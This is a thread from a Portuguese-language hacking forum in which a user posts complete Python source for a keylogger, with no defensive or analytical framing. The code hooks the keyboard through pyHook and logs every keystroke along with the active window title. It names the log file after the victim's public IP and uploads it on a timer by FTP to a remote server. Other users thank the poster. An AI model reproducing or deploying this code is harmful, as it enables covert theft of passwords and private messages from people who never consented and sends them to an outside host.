Bem-vindo(a) ao Fórum do Guia do Hacker.
Guia do Hacker - Seu Guia Completo de Informação Digital

Fórum do Guia do Hacker » Programação e Banco de Dados » Programação Desktop » Perl/Python/Batch/Cobol » Python Keylogger simples em python

Perl/Python/Batch/Cobol Sobre esses quatro tipos linguagens.

Tópicos Similares
Tópico Tópico Iniciado Por Fórum Respostas Última Mensagem
C / C++ Keylogger Simples em C++ #M0rph C/C++/C# 14 27-12-2016 16:30
Keylogger Simples em Autoit Radicalzinho Open-Source 1 11-01-2014 12:30
Compilação Keylogger Python MasterOrc Keyloggers 2 19-06-2012 23:27
Python Keylogger em Python - AJUDA __gio Perl/Python/Batch/Cobol 0 14-05-2012 13:49
Python Keylogger em python webma Perl/Python/Batch/Cobol 2 20-10-2009 23:06

Resposta
Ferramentas do Tópico vBmenu Seperating Image Modos de Exibição vBmenu Seperating Image
Python Keylogger simples em python
Antigo 21-03-2017, 21:33   #1
luiz9
Elite Hacker
 
Avatar de luiz9
 
Status: Elite Hacker
Registrado em: May 2012
Localização: na frente do computador
Posts: 280
Agradeceu: 234
Agradecido 458 Vezes em 120 Posts
luiz9 é um desconhecido na estrada
Padrão Keylogger simples em python

IMPORTANTE: Precisa usar a livraria pyHook

Código:
# coding= utf-8
import pythoncom, pyHook, ftplib, urllib, datetime, time, thread, os
 
class Kaley:
    def __init__(self):
        self.current_window = None
        self.namefile = str(self.getIP()) + " - " + str(self.getDate()) + ".txt"
        self.f = ftplib.FTP("server")
        self.f.login("user", "pass")
        self.f.cwd("/html/kaley")
        self.run = False
 
    def getIP(self):
        url = urllib.URLopener()
        resp = url.open("http://automation.whatismyip.com/n09230945.asp")
        html = resp.read(114)
        return html
 
    def getDate(self):
        now = datetime.datetime.now()
        return now.strftime("%Y-%m-%d")
 
    def write(self, text):
        file = open(self.namefile, "a")
        file.write(text)
        file.close()
        if self.run == False:
            thread.start_new_thread(self.upload, ())
 
    def upload(self):
        self.run = True
        time.sleep(5)
        self.f.storbinary("STOR " + self.namefile, open(self.namefile, "rb"))
        self.run = False
 
    def stroke(self, event):
        if event.WindowName != self.current_window:
            self.write("\n" + event.WindowName + "\n")
            self.current_window = event.WindowName
        if event.Ascii == 32 or event.Ascii == 9:
             self.write(" ")
        elif event.Ascii == 241 or event.Ascii == 209:
            self.write("Ñ")
        elif event.Ascii == 13:
            self.write("\n")
        else:
            self.write(event.Key)
 
log = Kaley()
ph = pyHook.HookManager()
ph.KeyDown = log.stroke
ph.HookKeyboard()
pythoncom.PumpMessages()
download source completa: [Somente usuários registrados podem ver os Links. Clique aqui para se REGISTRAR]



Notice: This Ad only show to guest, please register now to disappear !
__________________
É meu fã? Use minha fan bar
luiz9 está offline   Responder com Citação
Os 4 Usuários Agradeceram (a): luiz9 por gostarem desta postagem:
=[ DiLLuViUM ]= (02-12-2018), Geek_Strong (22-03-2017), Sollum (05-05-2020), Sophos (22-03-2017)
Links Patrocinados
Resposta

Tags
.txt, ascii, asp, code, date, html, http, importante, ini, key, keylogger, login, pass, python, server, simples, start, thread, txt, upload, usar, user

Ferramentas do Tópico
Modos de Exibição

Regras para Posts
Você não pode postar novos tópicos
Você não pode postar respostas
Você não pode postar anexos
Você não pode editar seus posts

Código [IMG] Sim
Código HTML Não

Ir para...


 

Horários baseados na GMT -3. Agora são 17:05.


Please enable / Bitte aktiviere JavaScript!
Veuillez activer / Por favor activa el Javascript![ ? ]